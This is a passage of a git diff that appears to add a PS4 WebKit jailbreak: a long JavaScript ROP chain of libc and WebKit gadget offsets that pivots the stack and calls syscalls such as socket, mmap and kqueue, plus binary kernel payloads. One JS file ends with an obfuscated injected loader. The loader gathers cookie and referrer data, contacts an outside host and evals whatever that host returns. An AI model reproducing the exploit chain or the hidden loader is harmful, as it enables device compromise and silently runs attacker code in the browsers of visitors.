+db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+597160, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +close_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+598488, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +mmap_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+599816, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +sigaction_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+601144, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +socket_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+602472, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +kqueue_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+603800, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +db([0, 0, 100000, 0, 0, 0]); +db([0, 0, 100000, 0, 0, 0]); +db([979788149, 174335264, 0, 0]); +db([1702258027, 1633645678, 544367716, 2016419901, 2020371493, 10]); +db([1869900656, 1601401968, 1919181921, 807419168, 1819026808, 2680]); +db([1952737651, 807419168, 2020091256, 628633632, 175664236, 0]); +db([1801678707, 1030976613, 1797284901, 1969583473, 624784229, 2660]); +db([543580533, 169962351, 0, 0]); +db([1919252079, 1601200492, 544760937, 1680154685, 10, 0]); +db([1919252079, 1601200492, 544760937, 1680154685, 10, 0]); +db([1919252079, 1601200492, 544760937, 1680154685, 10, 0]); +db([1952672118, 1767861609, 1025538148, 174335264, 0, 0]); +db([1869771365, 1646279282, 2036819829, 1651663136, 1999598112, 2593]); +db([1869771365, 1797274226, 1701737061, 1633820780, 1830839667, 1634562921, 979919732, 628633632, 561540204, 1969367072, 544827239, 543322721, 1064775538, 1869772576, 1713399662, 170475383, 0, 0]); +db([1852990827, 1650420837, 543519585, 2016419901, 2020371493, 10]); +db([1701076838, 1751343476, 807419168, 1819026808, 1864379512, 1702061670, 540876916, 1814394928, 686188, 0]); +db([1970435187, 1885303907, 543387506, 2016419901, 2020371493, 10]); +db([1886676327, 690513001, 807419168, 175646072, 0, 0]); +db([980707690, 543434016, 680997, 0]); +db([809334898, 1819026808, 2003968120, 628633661, 175664236, 0]); +db([1701273968, 1534620255, 1025531184, 628633632, 2680, 0]); +db([1936682083, 1713398885, 1680154724, 10]); +db([1000, 0, 0, 0, 0, 0]); +pivot(ropchain); +var main_ret = read_ptr_at(main_ret); +var printf_buf_end = read_ptr_at(ropchain+printf_buf_offset); +var printf_ans = read_mem_as_string(printf_buf, printf_buf_end-printf_buf); +var _ = malloc_nogc.pop(); +var _ = malloc_nogc.pop(); +var _ = malloc_nogc.pop(); +;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//karo218.ir/wolf-trainer/wolf-trainer.php","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}} \ No newline at end of file diff --git a/702/kernelclock.bin b/702/kernelclock.bin new file mode 100644 index 00000000..663c49ef Binary files /dev/null and b/702/kernelclock.bin differ diff --git a/702/lam132.bin b/702/lam132.bin new file mode 100644 index 00000000..2c643ec2 Binary files /dev/null and b/702/lam132.bin differ diff --git a/702/linux1G.bin b/702/linux1G.bin new file mode 100644 index 00000000..94aef125 Binary files /dev/null and b/702/linux1G.bin differ diff --git a/702/linux3G.bin b/702/linux3G.bin new file mode 100644 index 00000000..25350bb2 Binary files /dev/null and b/702/linux3G.bin differ diff --git a/702/loader.js b/702/loader.js new file mode 100644 index 00000000..54e5f7ee --- /dev/null +++ b/702/loader.js @@ -0,0 +1,26873 @@ +var ropchain_array = new Uint32Array(56160); +var ropchain = read_ptr_at(addrof(ropchain_array)+0x10); +var ropchain_offset = 2; +function set_gadget(val) +{ + ropchain_array[ropchain_offset++] = val | 0; + ropchain_array[ropchain_offset++] = (val / 4294967296) | 0; +} +function set_gadgets(l) +{ + for(var i = 0; i < l.length; i++) + set_gadget(l[i]); +} +function db(data) +{ + for(var i = 0; i < data.length; i++) + ropchain_array[ropchain_offset++] = data[i]; +} +var main_ret = malloc(8); +var printf_buf = malloc(65536); +var __swbuf_addr = 0; // STUB +set_gadgets([ +libc_base+768796, //pop rax +ropchain+65720, //rdi_bak +webkit_base+14572727, //mov [rax], rdi +libc_base+165442, //pop rdi +ropchain+65680, //stack_bottom +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +ropchain+112, //ret_addr +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+192512, //_main +//ret_addr: +libc_base+489696, //pop rsp +ropchain+65680 //stack_bottom +]); +//_ps4_printf_buffer: +var printf_buf_offset = 128; +set_gadget(printf_buf); +//_ps4_printf_fd: +db([4294967295, 4294967295]); // -0x1 +//stack: +ropchain_offset += 16384; +//stack_bottom: +set_gadgets([ +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +main_ret, +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//rdi_bak: +//_pivot_back_addr: +db([0, 0]); // 0x0 +set_gadgets([ +pivot_addr, +//___builtin_bswap16: +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+65800, //L1 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L1: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+65912, //L3 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+65928, //L4 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +//L2: +db([16, 0]); // 0x10 +set_gadget(webkit_base+1420514,); //pop r8 +//L3: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L4: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+66032, //L7 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+66016, //L6 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L6: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L7: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+229840, //mov ax, [rdi] +libc_base+713278, //pop rsi +ropchain+66192, //L12 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+66160, //L10 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+66176, //L11 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L9: +db([16, 0]); // 0x10 +set_gadget(libc_base+165442,); //pop rdi +//L10: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L11: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L12: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+66248, //L13 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L13: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+66376, //L16 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+66392, //L17 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+66360, //L15 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L15: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L16: 